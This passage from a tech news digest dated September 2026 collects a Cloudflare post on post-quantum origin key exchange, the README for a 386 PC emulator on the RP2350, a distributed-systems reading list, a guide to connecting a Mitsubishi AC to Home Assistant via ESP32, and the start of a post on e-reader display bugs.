  • When one worker's queue backs up, another worker can steal work from it—if the runtime detects the imbalance and another worker has capacity.

[1] Tokio 1.52.0 briefly shipped a sharded blocking queue, but 1.52.1 reverted it after a regression that could cause spawn_blocking to hang. Tokio PR #8337 later re-landed the sharded queue as an unstable feature that is disabled by default.

The Daily Front Page 12 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — The Handshake Desk
article

Cloudflare AKE cuts origin HelloRetryRequests from 52% to 3.7%

by iamsyr·▲ 98 points·26 comments·blog.cloudflare.com ↗
faster, post-quantum secure origin handshakes for 45 billion daily connections

Every time Cloudflare opens a new TLS 1.3 connection to an origin server, we have to make a guess: the protocol requires us to commit to a key agreement algorithm in the very first packet we send, before the origin has told us anything about itself or what it can support. If we guess right, the handshake completes in one round trip. Guess wrong, and the origin replies with a HelloRetryRequest, we start over, and the connection costs two round trips.

For years, our guess was the same for every origin on the Internet: X25519. Widely supported, but as it turns out, suboptimal for roughly 30% of the origin connections we've since measured.

Today we're announcing Automatic Key Exchange, an extension of Automatic SSL/TLS that replaces the guess with a measurement. We probe each origin to learn which key agreement algorithms it supports and prefers, then lead with that algorithm on the first try, preferring the post-quantum hybrid X25519MLKEM768 wherever the origin can speak it.

With the ongoing rollout of Automatic Key Exchange across origin connections, HelloRetryRequests fell from roughly 52% to 3.7%, cutting more than 150 ms off connection handshake latency at p90. In addition, as part of our ongoing rollout, hundreds of thousands of domains now have post-quantum origin connections that nobody had to configure, with that number growing daily.

While the milliseconds are important, that second part may matter more. Somewhere right now, an adversary is recording encrypted traffic it can't read yet, betting that it will be able to in the future (an attack known as harvest-now, decrypt-later). Cloudflare is sprinting to make the Internet quantum-secure by 2029, the year some industry experts estimate classical encryption algorithms could be breached. That day has a name: Q-Day. Meeting that deadline can't depend on millions of website operators each becoming expert cryptographers. It has to be automatic. Until today, preferring post-quantum connections required a manual setting: either you turn them on from Cloudflare’s side, or you have your origin server insist upon them. It was easy to get wrong. But today it’s just … automatic!

TLS 1.3 handshake: guessing the key exchange algorithm

Every secure web connection starts with a TLS handshake, which authenticates the server and derives a shared secret key. Our previous Automatic SSL/TLS blog posts cover that process in detail.

As Cloudflare operates as a reverse proxy, what appears to be a single secure connection is actually two: one between the visitor and Cloudflare, and a second between Cloudflare and the origin server. Each connection operates independently, with its own handshake, identity checks, and encryption keys.

BLOG-3300 2.png

Automatic Key Exchange affects the second connection. When Cloudflare connects to the origin, Cloudflare acts as the TLS client and must begin the handshake. We initiate the connection by sending a ClientHello message containing the hostname and a list of supported key agreement algorithms.

Normal TLS 1.3 handshake vs Unsupported Key Share (1) copy.png

In the happy path, TLS 1.3 can establish a new encrypted connection in just one network round trip (shown on the left in the diagram above). In this case, Cloudflare sends a ClientHello listing its supported key agreement algorithms, along with one or more client keyshares. If the origin accepts that choice, it responds and the handshake completes. This predictive key exchange is an innovation of TLS 1.3, and a large part of why it’s faster than TLS 1.2.

Otherwise, if the origin prefers a different option, it sends a HelloRetryRequest (HRR) and asks Cloudflare to try again (the flow on the right in the diagram above). Cloudflare then sends a second ClientHello, generating a new client keyshare based on the key agreement algorithm specified by the origin. The connection still succeeds, but the retry adds a full network round trip before Cloudflare can fetch content. This is like missing a shortcut in Mario Kart: you still reach the finish line, but you lose the time the shortcut was supposed to save.

Either way, using the client keyshare, the server generates the shared key. The server then returns a server keyshare with which the client can also compute the shared key. This shared key is used to protect the rest of the connection using symmetric cryptography, such as AES.

The cost of the safe guess

For years, our initial client keyshare guess for origin connections using TLS 1.3 was static; we'd always send X25519 while advertising support for other key agreement algorithms. This was a safe strategy because over 95% of origins support X25519, and any origins that didn’t could issue a HelloRetryRequest (HRR) without breaking the connection.

However, X25519 is vulnerable to quantum computers. Since September 2023, we have advertised support of post-quantum key agreement to origins: first as X25519Kyber768Draft00 and today as X25519MLKEM768 (the standardized version of the algorithm). Crucially, advertising support differs from leading with a keyshare in the ClientHello. An X25519MLKEM768 keyshare is 1,216 bytes compared to X25519's 32 bytes, pushing the ClientHello past a single network packet. While the TLS standard allows multi-packet segments, some legacy middleboxes and origin servers can fail when receiving ClientHello messages split across multiple packets. In our previous study, around 0.34% of scanned origins failed to complete the TLS handshake when receiving a post-quantum keyshare first, while the vast majority of origins still relied on classical X25519.

BLOG-3300 4.png

Therefore, to prevent any possible breakage of origin connections, we used HRR as a safety valve. We only advertised post-quantum support, sent a classical X25519 keyshare, and required capable origins to request a post-quantum exchange via retry. For origins that did not support the HRR flow, customers had the option to manually opt into leading with X25519MLKEM768 keyshare. Between 2023 and today, the percentage of origins supporting post-quantum key exchange algorithms grew from 0.5% to 12.8%, and we expect that to keep climbing as hosting stacks upgrade to PQ safe algorithms.

While safe, this default of only upgrading to post-quantum secure connections via retry added unnecessary latency for two reasons:

  • While all modern builds of OpenSSL, BoringSSL, and rustls support X25519MLKEM768, they handle a classical X25519 keyshare differently. Depending on the build, some older builds may accept it by default unless explicitly configured to prioritize the post-quantum secure keyshares, while newer builds will immediately issue an HRR to prioritize post-quantum connections.
  • Over 6% of origins prefer either P-256 or P-384 over X25519, triggering an HRR round trip even for purely classical connections due to our static choice of initial client keyshare.

To eliminate these wasted round trips, we began scanning origin servers to map their exact key agreement capabilities as part of Automatic SSL/TLS. Using these scan results, we automatically tailor our initial keyshare on a per-origin basis: maximizing post-quantum connections without risking site outages, all while making our connections faster for applicable domains.

Extending Automatic SSL/TLS to the post-quantum age

Automatic SSL/TLS now includes Automatic Key Exchange. Across millions of origins, guessing different keyshares carries operational risk, because we have no advance knowledge of how any individual origin is configured. So rather than infer capability, we measure it directly, reusing the scanning pipeline that already powers Automatic SSL/TLS.

For a growing number of origins, this delivers post-quantum key agreement on the very first try at connection setup, without extra round trips and without requiring any manual setup.

This is how it works:

  1. For each TLS 1.3 capable origin, we run a series of a few lightweight TLS handshakes, each offering exactly one key agreement group: X25519, P-256, P-384, P-521, or X25519MLKEM768. Together these probes tell us the full set of algorithms the origin supports. And because the active scanning happens outside your production traffic path, we confirm that both your origin and the network in between can handle connections with a stronger key agreement before any real traffic depends on it.

  2. A single domain often fronts multiple subdomains that may resolve to different origins with varying capabilities. We evaluate each subdomain independently and weight the results by its actual traffic volume. This ensures a domain-wide preference reflects HTTP traffic volume rather than weighing a dormant subdomain equally with your busiest endpoint. For example, if almost all traffic hits your www and api subdomains, those endpoints would heavily determine the key exchange preference for the entire domain.

  3. From the key agreement groups an origin supports, we then select the strongest candidate using a strict priority order: post-quantum hybrids (X25519MLKEM768) first, falling back to the fastest classical algorithm accepted by the origin (X25519, P-256, P-384, or P-521).

  4. Once we know the optimal key-agreement an origin prefers, we start rolling it out. The new preference goes to a small share of that origin's traffic first, and the system monitors its failure and HelloRetryRequest (HRR) rate while it runs. If retries climb above that origin's baseline, we roll the change back, the same way Automatic SSL/TLS reverts an encryption mode upgrade that may misbehave. At the worst case of rolling back, a bad key-agreement preference costs us an additional round trip latency, not a broken TLS connection for the duration of the rollout phase.

  5. Origin configurations change over time: a customer moves to a new load balancer, a TLS library ships post-quantum support in a routine release, an operator turns off an older key-agreement algorithm support. We rescan every origin daily, so a server that adds post-quantum support, or stops supporting the curve we were using, gets a new preference at the next scan.

For most customers, there is nothing to configure. If your origin speaks TLS 1.3, we will automatically negotiate the strongest key exchange it supports, for instance, if an origin supports X25519MLKEM768, Cloudflare prefers it and can establish post-quantum key agreement without any extra round trip latency.

Configuring Automatic Key Exchange

Automatic Key Exchange is active by default for all existing and new domains, requiring no manual action for most setups. If you want, you can manage these settings independently in the Cloudflare dashboard under SSL/TLS > Overview > Configure > Origin connection & post-quantum encryption.

With the Automatic Key Exchange toggle enabled, Cloudflare scans your origins out-of-band and leads with a dynamically selected keyshare. With it disabled, scanning stops and Cloudflare reverts to a fixed/static default key agreement order.

BLOG-3300 5.png

We have also introduced a new Compliance requirements setting under Automatic Key Exchange. You can filter which key agreements Cloudflare is permitted to use and advertise support for origin connections. When configured, Automatic Key Exchange and all origin-facing traffic strictly observe these rules:

  • Post-quantum hybrid: Restricts negotiation exclusively to hybrid post-quantum key agreements (X25519MLKEM768), removing classical algorithms entirely. All your successful origin TLS 1.3 connections will be guaranteed to be post-quantum secure.
  • Federal Information Processing Standards (FIPS): Restricts negotiation exclusively to FIPS-compliant key agreements.

Selecting both options requires an algorithm that satisfies both criteria simultaneously; if no overlapping key agreement exists, the configuration is rejected. See the Automatic Key Exchange documentation for details.

BLOG-3300 6.png

By selecting these options, you configure your intent rather than specific algorithms. This ensures that as compliance standards evolve or new post-quantum algorithms emerge, your configuration stays up to date automatically.

However, these requirements are worth approaching carefully. They do not grant an origin new cryptographic capabilities, they only narrow what Cloudflare can negotiate.

An important note: Enforcing post-quantum hybrid on an origin that lacks X25519MLKEM768 support leaves no mutually supported algorithm, causing all TLS 1.3 connections to fail. Unless you have a strict policy obligation to enforce post-quantum exchange or FIPS compliance across every connection, leave both options unselected and allow Automatic Key Exchange to negotiate the optimal algorithms safely for you.

Making the Internet safer and faster, together

Automatic Key Exchange works for domains whose origins speak TLS 1.3 (as predicting preferred key agreement method is a TLS 1.3-only feature). It’s enabled by default, and our scanning pipeline has already assigned key exchange preferences to well over a million domains while enrollment continues across the remaining network.

From that initial cohort, we found that roughly 64% of them stayed on the classical X25519 as their preference, so nothing about their connections changed. Around 33% of them now have their preference set to X25519MLKEM768, which causes traffic to those origins protected from harvest-now, decrypt-later quantum attacks in a single round trip. The remaining 3% selected a different classical curve preferred by their origin, such as P-384, P-256, or P-521.

BLOG-3300 7.png

Approximately 9,000 domains each day have their key agreement preference set to a key agreement method other than X25519. Nearly all of these move directly to preferring post-quantum key exchange, while the remainder adopt other classical curves better supported by their origin’s TLS configuration.

As we mentioned earlier, prior to Automatic Key Exchange, almost every post-quantum origin handshake required a HelloRetryRequest (HRR) because our static initial guess defaulted to classical X25519. The result was that post-quantum connections paid a mandatory second round trip before completing the TLS handshake.

BLOG-3300 8.png

The share of post-quantum origin TLS 1.3 traffic completing without a HelloRetryRequest rose from 0% to 99.2%.

With the rollout underway, that latency penalty is virtually gone for almost all post-quantum capable origins: 99.2% of post-quantum TLS 1.3 connections of the currently scanned cohort of origins now complete in a single round trip. Beyond removing the extra round trip, we see that across that cohort, post-quantum origin traffic keeps growing from roughly 25 billion connections to 45 billion per day. A significant part of that growth has come from Automatic Key Exchange upgrading classical connections to a post-quantum preference for scanned origins.

Many origins support multiple key agreement algorithms without preferring one over another. For example, an origin that supports post-quantum key agreement may still accept a classical (X25519) key share without rejecting it or issuing an HRR. Passive observation, therefore, cannot reveal the origin’s full capabilities. Active probing allowed Automatic Key Exchange to uncover thousands of origins whose post-quantum support never appeared in their origin traffic.

BLOG-3300 9.png

Once our scanner discovered such origins, and updated their client keyshare preference, post-quantum connections quickly accounted for the vast majority of traffic to these origins. Other classical key agreement algorithms represent a much smaller share for these upgraded domains, primarily driven by multi-origin setups with a mix of post-quantum and classical-only backends.

Automatic Key Exchange does more than just drive post-quantum adoption. It also helps pair origins with their preferred classical curve (other than X25519), reducing overall HRR rates across all scanned origins.

BLOG-3300 10.png

Before we enabled Automatic Key Exchange, roughly 52% of origin connections for the scanned domains required an HRR. That rate fell to just 3.7%. Avoiding an HRR removes an entire round trip from TLS connection setup, reducing p90 latency more than 150 ms for the scanned origins. This particularly benefits dynamic requests and CDN cache misses that may require a new TLS 1.3 connection to the origin, ultimately reducing latency for eyeballs. Requests sent over existing keep-alive connections do not require a new handshake and are therefore unaffected.

Is the server post-quantum capable?

There are a number of different tools to use to find out if a server supports post-quantum key agreement. We offer one of these tools via Cloudflare Radar. Enter the hostname or IP addresses of your server, and we will check if it supports post-quantum TLS key exchange. Note that if you enter a hostname proxied by Cloudflare, Radar will check the connection to Cloudflare rather than your origin server behind it.

BLOG-3300 11.png

Beyond verifying algorithm support, we have added the ability in the tool to check for post-quantum TLS implementation bugs. If the results come back negative, it will also try to characterize the reason for the failure. Failures often stem from legacy middleboxes, firewalls, or server buffers dropping multi-packet payloads or failing to reassemble a ClientHello split across TCP segments. Other times the origin gives up on an unrecognized key share instead of sending a HelloRetryRequest as TLS 1.3 requires, or sends one and then cannot finish the handshake.

Radar gives you a clear picture of whether the network path handles post-quantum traffic cleanly. Automatic Key Exchange will not switch a domain whose origin fails these checks, so clearing them is what lets the upgrade happen.

What if your origin doesn't support post-quantum key agreement yet?

Even if your origin does not yet support post-quantum encryption today, the good news is that enabling Auto Key Exchange will still be beneficial. Automatic Key Exchange finds what your origin supports. If X25519MLKEM768 is unavailable, Cloudflare continues using a compatible classical key agreement and can still avoid unnecessary HelloRetryRequest round trips by learning which one your origin prefers.

However, Automatic Key Exchange can only prefer post-quantum connections when your origin server already supports the key agreement algorithm. Today, we see over 12% of individual origins across our network support post-quantum encryption. Post-quantum secure algorithms support in TLS server implementations is increasing as recent versions of BoringSSL, OpenSSL, and rustls include support. The enterprise origin stacks, cloud load balancers, and embedded TLS terminators are upgrading on their own timelines.

If you want to add post-quantum protection capability for your domain’s origin-facing connections, you have two options:

The Daily Front Page 13 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — A Tiny Machine, a Full PC
repository

A 386 PC for Your RP2350

by SamuraiLion·▲ 207 points·79 comments·github.com ↗
★ 166⑂ 7 forks C

Tiny386 port to RP2350

Official page: frank.rh1.tech — hub for all FRANK boards and firmware.

i386 PC Emulator for RP2350 (Raspberry Pi Pico 2) with VGA/HDMI output, SD card storage, PS/2 and USB keyboard/mouse, NES gamepad, and audio output.

Based on Tiny386 by Chunhui He.

Features

  • Full i386 (and partially i486/i586) CPU emulation with optional x87 FPU
  • Up to 8MB RAM (using 8MB PSRAM)
  • VGA and HDMI graphics output (text modes and graphics up to 640x480)
  • Sound: AdLib OPL2, Sound Blaster 16, PC Speaker, Tandy, Covox, Disney Sound Source
  • SD card support for floppy, hard disk, and CD-ROM images
  • Runtime disk manager (Win+F12) for hot-swapping disk images
  • Settings menu (Win+F11) for changing emulator configuration
  • PS/2 keyboard and mouse input
  • USB keyboard and mouse input (via native USB Host)
  • NES gamepad support with mouse emulation mode
  • Boots DOS, Windows 3.x, Windows 95, Linux, and more

Screenshots

FRANK 386 in Action

Screenshot 1 Screenshot 2 Screenshot 3 Screenshot 4 Screenshot 5

Supported Boards

This firmware is designed for RP2350-based boards with integrated VGA/HDMI, SD card, and keyboard input:

Hardware Requirements

  • Raspberry Pi Pico 2 (RP2350) or compatible board
  • 8MB PSRAM (required for extended memory)
  • VGA or HDMI connector
  • SD card module (SPI mode)
  • PS/2 keyboard (directly connected) - OR - USB keyboard (via native USB port)
  • Audio output (optional): I2S DAC or PWM

Note: When USB HID is enabled, the native USB port is used for keyboard/mouse input. USB serial console (CDC) is disabled in this mode; use UART for debug output.

Board Configurations

Four GPIO layouts are supported: M1, M2, PC (Olimex), and Z2 (Waveshare).

VGA / HDMI

Signal M1 GPIO M2 GPIO Base 6 12 Range 6-13 12-19

SD Card (SPI mode)

Signal M1 GPIO M2 GPIO CLK 2 6 CMD 3 7 DAT0 4 4 DAT3/CS 5 5

PS/2 Keyboard

Signal M1 GPIO M2 GPIO CLK 0 2 DATA 1 3

PS/2 Mouse

Signal M1 GPIO M2 GPIO CLK 14 0 DATA 15 1

NES/SNES Gamepad

Signal M1 GPIO M2 GPIO CLK 14 20 DATA 16 26 LATCH 15 21

I2S Audio

Signal M1 GPIO M2 GPIO DATA 26 9 BCLK 27 10 LRCLK 28 11

SD Card Setup

Directory Structure

Create a 386/ directory on your SD card:

SD Card Root/
└── 386/
    ├── config.ini      # Configuration file
    ├── bios.bin        # SeaBIOS ROM (required)
    ├── vgabios.bin     # VGA BIOS ROM (required)
    ├── dos622.img      # Hard disk image
    ├── boot.img        # Floppy image
    └── ...             # Other disk images

BIOS Files

Download SeaBIOS and VGA BIOS from the SeaBIOS releases or use bios.bin/vgabios.bin from sdcard/386.

Configuration File (config.ini)

Create 386/config.ini:

[pc]
mem=8M
bios=bios.bin
vga_bios=vgabios.bin

[frank-386]
cpu_freq=504
psram_freq=166

Preparing Disk Images

Floppy Images (.img):

  • Standard 1.44MB floppy images (1474560 bytes)
  • Create with: dd if=/dev/zero of=floppy.img bs=512 count=2880
  • Format with DOS or use pre-made DOS boot disks

Hard Disk Images (.img):

  • Raw disk images up to 2GB
  • Create with: dd if=/dev/zero of=hdd.img bs=1M count=512
  • Use FDISK and FORMAT from DOS to partition and format

CD-ROM Images (.iso):

  • Standard ISO 9660 images
  • Use CD burning software to create ISOs from CDs

Loading Disk Images

At Boot: Configure disk images in config.ini as shown above.

At Runtime (Disk Manager):

  1. Press Win+F12 to open the Disk Manager
  2. Use arrow keys to select a drive (A:, B:, C:, D:, E:)
  3. Press Enter to browse disk images in the 386/ directory
  4. Select an image file to insert, or eject the current disk
  5. Press Escape to close the Disk Manager

Changes made via Disk Manager are saved to config.ini automatically.

Controls

Keyboard Shortcuts

Shortcut Action Win+F12 Open Disk Manager Win+F11 Open Settings Menu Ctrl+Alt+Delete System reset (sent to guest OS)

Settings Menu (Win+F11)

Configure emulator settings at runtime:

  • Memory size (1-8 MB)
  • CPU generation (386/486/586)
  • FPU emulation on/off
  • Sound devices (AdLib, SB16, PC Speaker, Tandy, Covox, MPU-401, DSS)
  • PS/2 or USB Mouse on/off
  • NES Mouse on/off (emulate mouse with NES gamepad D-pad, B=left click, A=right click)
  • RP2350 CPU frequency and voltage
  • PSRAM / Flash frequency

Settings are saved to config.ini and take effect after restart.

Disk Manager (Win+F12)

Manage disk images without restarting:

  • Insert/eject floppy images (A:, B:)
  • Insert/eject hard disk images (C:, D:)
  • Insert/eject CD-ROM images (E:)

Building

Prerequisites

  1. Install the Raspberry Pi Pico SDK (version 2.0+)
  2. Set environment variable: export PICO_SDK_PATH=/path/to/pico-sdk
  3. Install ARM GCC toolchain

Build Steps

# Clone the repository
git clone https://github.com/rh1tech/frank-386.git
cd frank-386

# Build with default settings (M2 board, 378MHz, PS/2 keyboard)
./build.sh

# Build for M1 board
./build.sh -M1

# Build with USB keyboard support
./build.sh --usb-hid

# Custom build
./build.sh -b M1 -c 504 -p 166 --debug

Build Options (build.sh)

Option Description -b, --board <M1|M2|PC|Z2> Board variant (default: M2) -c, --cpu <MHz> CPU speed: 378 (default), 504 -p, --psram <MHz> PSRAM speed: 133 (default), 166 --usb-hid Enable USB keyboard (disables USB serial) --hdmi Force HDMI output --debug Enable debug output -clean Clean build directory first

Build Options (CMake)

Option Description -DPICO_BOARD=pico2 Build for RP2350 (default) -DBOARD=M1 Use M1 GPIO layout -DBOARD=M2 Use M2 GPIO layout (default) -DBOARD=PC Use Olimex PICO-PC layout -DBOARD=Z2 Use Waveshare RP2350-PiZero layout -DCPU_SPEED=378 CPU clock in MHz (378, 504) -DPSRAM_SPEED=133 PSRAM clock in MHz (133, 166) -DUSB_HID_ENABLED=ON Enable USB keyboard (disables USB serial) -DDEBUG_ENABLED=ON Enable verbose debug logging -DFORCE_HDMI=ON Force HDMI output

Release Builds

To build all firmware variants:

# Interactive (prompts for version)
./release.sh

# With version number
./release.sh 1.02

This creates firmware files in the release/ directory:

  • frank-386_m1_<version>.uf2 - M1 board (Murmulator)
  • frank-386_m2_<version>.uf2 - M2 board (Murmulator)
  • frank-386_pc_<version>.uf2 - Olimex PICO-PC
  • frank-386_z2_<version>.uf2 - Waveshare RP2350-PiZero

Flashing

# With device in BOOTSEL mode:
picotool load build/frank-386.uf2

# Or use the flash script:
./flash.sh

Troubleshooting

"0 bytes of memory" during Windows 95 setup

Use setup /im to bypass memory check.

"Protection error" during Windows 95 startup

Use patcher9x.

Enable mapdrive.com support (redirector) to map SD-card to network-attached-drive H

Set redirector = 1 in config.ini.

No keyboard input

  • For PS/2: Check keyboard connection and GPIO pins
  • For USB: Ensure firmware was built with --usb-hid option

SD card not detected

  • Ensure SD card is formatted as FAT32
  • Check SD card module connections
  • Verify 386/ directory exists on SD card

License

MIT License. See LICENSE for details.

Authors & Contributors

Mikhail Matveev & DnCraptor

Acknowledgments

This project is based on the following open-source projects:

Tiny386

  • Project: Tiny386 - x86 PC Emulator
  • Author: Chunhui He
  • License: BSD 3-Clause
  • Description: The core i386 CPU emulator and PC peripheral emulation (8259 PIC, 8254 PIT, 8042 keyboard controller, VGA, sound devices).

Pico-286

  • Project: Pico-286
  • Author: xrip
  • License: MIT
  • Description: RP2350 platform integration, disk management, VGA driver concepts.

QuakeGeneric

  • Project: QuakeGeneric
  • Author: DnCraptor
  • License: GPL v2
  • Description: RP2350 hardware integration patterns, Murmulator platform support, and PS/2 mouse driver implementation.

QEMU

  • Project: QEMU
  • Authors: Fabrice Bellard (2003-2017), Vassili Karpov "malc" (2003-2005), Joachim Henke (2006)
  • License: MIT
  • Description: PC peripheral emulation code including 8259 PIC, 8254 PIT, 8257 DMA, 8042 keyboard controller, PCI bus, PC speaker, VGA, and AdLib OPL2 proxy.

MAME FM Sound Generator

  • Project: MAME
  • Author: Tatsuyuki Satoh (1999-2000)
  • License: LGPL 2.1+
  • Description: FM OPL sound generator (fmopl) for AdLib emulation, forked from MAME and relicensed under LGPL.

inih

  • Project: inih
  • Author: Ben Hoyt (2009-2020)
  • License: BSD 3-Clause
  • Description: Simple INI file parser for configuration file handling.

SeaBIOS

  • Project: SeaBIOS
  • Authors: Kevin O'Connor and contributors
  • License: GNU LGPL v3
  • Description: x86 BIOS and VGA BIOS firmware.

FatFs

  • Project: FatFs
  • Author: ChaN (2014, 2021)
  • License: FatFs License (BSD-style)
  • Description: Generic FAT filesystem module for SD card access.

FatFs Utilities

  • Author: Carl John Kugler III (2021)
  • License: Apache 2.0
  • Description: FatFs utility functions for error handling and result string conversion.

Raspberry Pi Pico SDK

  • Project: Pico SDK
  • Author: Raspberry Pi (Trading) Ltd. (2020)
  • License: BSD 3-Clause
  • Description: PIO SPI driver for SD card communication.
The Daily Front Page 14 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — The Distributed Canon
article

Distributed Systems Classics (2017)

by grep_it·▲ 257 points·58 comments·nvartolomei.com ↗

A selected list of timeless and influential papers in distributed systems that shaped the research in the field. Intended to serve as a good starting point for a better understanding of the problem space.

The Daily Front Page 15 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — Appliances, Liberated
article

I added a non-wi-fi Mitsubishi AC to Home Assistant

by ichacas·▲ 197 points·101 comments·medium.com ↗
I’m lazy enough to want some refreshing

Without using proprietary hardware or proprietary apps (MelCloud)

Recently I moved into a house with ducted ACs. It has on official wall thermostat like this:

My wifi-less wall thermostat

I can control it’s mode (heath, dry, cool) and the fan mode (high, medium, low) but the problem is that I have to click those buttons physically…

I’m lazy enough to want some refreshing (or warm during winters) air in my face directly when I’m on the sofa or in the bed without having to get up and click the button.

My current setup:

  • NAS Synology
  • Home Assistant installed in a VM of that NAS.
  • Mitsubishi’s Ducted unit ( SEZ-M60DA2, ~2022) controlled only by an official wired wall thermostat without wifi.
  • Mitsubishi’s official wall thermostat.

What I wanted

  • To be able to turn it off/on using my mobile phone
  • To do not lose any kind of the options that I already have in the wall thermostat.
  • To be able to check the temperature of my house.
  • To be able to set automations when a certain temperature is reached or when no one is at home.

Options discarded

  • An IR receiver. Mitsubishi does sell optional IR receiver kits for parts of the M-series, but nothing of the sort is fitted here. Furthermore it doesn’t solve the problem of setting it up from outside home.
  • A relay for on/off is worse on an inverter unit. Chopping mains or a dry-contact enable defeats the whole point of modulation, and you lose mode, fan speed and setpoint entirely. You end up with an expensive on/off switch on a machine designed to modulate.
  • Replacing the wall controller with a generic thermostat means losing the manufacturer’s protocol, the unit’s own sensors and its diagnostics… (it’s like on-off relay).
  • The official Kumo/Mel Cloud adapters. Those are the best alternative but are very expensive (up to 200$) and is classed as Cloud Polling in Home Assistant’s so: 1. Every commands does a round-trip to Mitsubishi’s servers (my data leaving my house); 2. It needs a MELCloud account and credentials (it’s now free but who knows the future…).

The solution

GitHub - echavet/MitsubishiCN105ESPHome: ESPHome firmware inspired by GeoffDavis's…

ESPHome firmware inspired by GeoffDavis's esphome-mitsubishiheatpump, directly integrating the SwiCago library within…

github.com

It’s the reverse-engineered Mitsubishi protocol, now maintained as an ESPHome external component.

Or the native ESPHome component:

Mitsubishi CN105 Climate

Instructions for setting up the Mitsubishi CN105 climate component.

esphome.io

https://github.com/echavet/MitsubishiCN105Esphome#when-to-use-which

Same core but a bit less features (but way easier to install).

Both of them allows us to have:

  • Bidirectional communication between Home Assistant and my wall thermostat. If something is turned on/off it will appear in both places.
  • Totally local solution. My data does not go to private servers.
  • Really cheap. For less than 10 euros.
  • Open source. The firmware is mantained by the community. It could improve over time.

Mitsubishi cannot update the units remotely, so our configuration should remain valid (the units don’t have Wi-Fi connectivity) .

What CN105 gives instead: it is the same service port the manufacturer’s own Wi-Fi adapter uses, so you get the native protocol: setpoint, mode, fan, room temperature as the unit measures it…. And it works alongside the wall controller rather than replacing it.

Hardware used

  • ESP32 board
  • JST PA 2.0 mm 5-pin pigtail: JST PA connector on the CN105 end, standard 2.54 mm DuPont female jumper ends on the ESP32 end.
  • A USB-C to USB-C cable to connect my Macbook with the ESP32.

How I did it

How to configure the ESP32

A blank ESP32 has no firmware and no Wi-Fi configured so the board plugs into the machine running the browser, not the machine running Home Assistant.

If you have properly installed Home Assistant (HA OS or Supervised as Core or Docker installations do not have add-on store) then it’s easy as you can install the ESPHome add-on then:

  • Connect the ESP32 to your laptop via USB.
  • In the add-on, Create device → Espressif ESP32-C6-DevKitM-1(if you have bought the same board as myself)
  • Give it a name → Configure the Wi-Fi credentials (ssid and password)once and it automatically writes them to /config/esphome/secrets.yaml

Now you can use the native ESPHome version

Screenshot from my ESPHome Builder add-on

  • Then you only have to add it and leave everything as default (it’s pre-configured if you are using the same board as myself).
  • Save and Install :)

Or do a custom install of the ESPHome external component

If you have chosen the same board as myself, it’s as easy as copy-pasting this pre-configured YAML, into the editor of the device in ESPHome Builder:

Editor of the device in ESPHome builder

  • Save and Install :)

After the first USB flash the board is on Wi-Fi and Home Assistant (HA) auto-discovers it . Every later update is over the air (done from HA if the YAML lives in the add-on).

CN105 pinout

From the official docs: https://esphome.io/components/climate/mitsubishi_cn105/#cn105-pinout

In my specific case with the colors of the cable that I bought:

 ──────────┬───────────┬─────────────┬────────────────────┐
│  Cable   │ Pin CN105 │    Signal   │ ESP32 (board)      │
├──────────┼───────────┼─────────────┼────────────────────┤
│ blue     │ 1         │ 12 V        │ ⛔ NEVER CONNECT   │
├──────────┼───────────┼─────────────┼────────────────────┤
│ green    │ 2         │ GND         │ GND                │
├──────────┼───────────┼─────────────┼────────────────────┤
│ yellow   │ 3         │ 5 V         │ VIN                │
├──────────┼───────────┼─────────────┼────────────────────┤
│ black    │ 4         │ TX          │ RX2 = GPIO16       │
├──────────┼───────────┼─────────────┼────────────────────┤
│ red      │ 5         │ RX          │ TX2 = GPIO17       │
└──────────┴───────────┴─────────────┴────────────────────┘
  • No need for an external power source, as it already has a 5V line (yellow).
  • Never connect the first cable (blue), as it provides 12V and the ESP32 board can’t handle it.

How to install it

First, search where your unit is installed and dismantle the tape then locate the CN-105 port:

Ducted AC plate + CN105 port

It’s a bit tricky to fit the CN-105 cable in, but once you have it in place, you just need to press it down. You have to do it with confidence.

My ESP32 connected to my AC board in the CN105 port

Mount the ESP32 OUTSIDE the metal control box (it is a Faraday cage).

Home Assistant integration

You can control your AC from your mobile phone using Home Assistant, giving you access to the same features that are available on the physical wall thermostat and much more.

  • Thermostat: on/off, mode (off, cool, heat, dry, fan_only, auto, heat_cool) and 6 fan speeds.
  • Room temperature: matches the wall controller exactly, while also exposing the temperature as a new sensor in Home Assistant.

You can also create your own Home Assistant automations, such as turning the AC on at specific times or when the room reaches a certain temperature.

If you use the repository directly, you also get new features that aren’t available on the official thermostat (some examples of the most useful ones):

  • Outside air temperature: a real outdoor-temperature sensor. Reports only while the unit runs
  • Energy (kWh): Really useful if you want to monitor your consumption or the energy being used at a given time
  • Error code — human-readable (No Error), not a raw number

TLDR

A step-by-step guide to using an ESP32 board to connect your Mitsubishi AC to Home Assistant, keeping your data local instead of sending it to external servers, while also gaining access to useful sensors such as energy consumption (kWh) and temperature.

I have written this article as a tutorial for my future self and as a guide if it could be helpful for someone.

The Daily Front Page 16 of 25
Monday, September 14, 2026 The Daily Front No. #260914 — The E-Ink Workshop
article

How my e-reader lost its stripes

by simonmic·▲ 173 points·28 comments·serpentine.com ↗
books and e-ink readers solve the problem of competition for attention

I’ve been a lifelong reader, which has proved a fragile habit in our era of endless trivial distraction. While books and e-ink readers solve the problem of competition for attention, they can’t compete with a phone for convenience. That tiny device in my pocket has made reading both easier and more vulnerable to displacement whenever a notification pops up.

A few days ago, I learned for the first time about a recent generation of tiny e-ink readers. Since they’re cheap, it was easy to give into curiosity: I bought an Xteink X3. Not only is it astonishingly tiny, I could immediately install the delightful open-source CrossPoint firmware. I was very quickly able to install a few books. I also appreciated being able to install custom fonts, though I was a little surprised by their indifferent rendering (foreshadowing…).

CrossPoint is very configurable out of the box, so I converted a photo to a dithered black and white bitmap as my “device sleep” screen, and was pleased with how pretty this looked. When I read that the device supported 4 whole shades of grey, I was intrigued: would a greyscale image look better?

Down the rabbit hole: first image bugs

This revealed what looked like a bug: the sleep screen was displaying greyscale images with very murky dark areas. Either my middle-aged eyes were finally failing me, or was dark grey rendering as black? I created a quick test image and verified that dark grey really was black, while light grey was extremely pale (almost white). Mildly annoying, but hardly unexpected on a cheap device, and easily worked around: let’s create a three-tone image!

With less of the regenerated image containing large regions of black, I now saw a new bug: in the CrossPoint viewer app, the prior screen contents were still present in ghostly form (only on paler parts of the display, hence me failing to notice the first time around). However, on the same image, the sleep screen didn’t suffer from this problem. This suggested that there were two image renderers making different decisions, and the viewer app’s code was buggy.

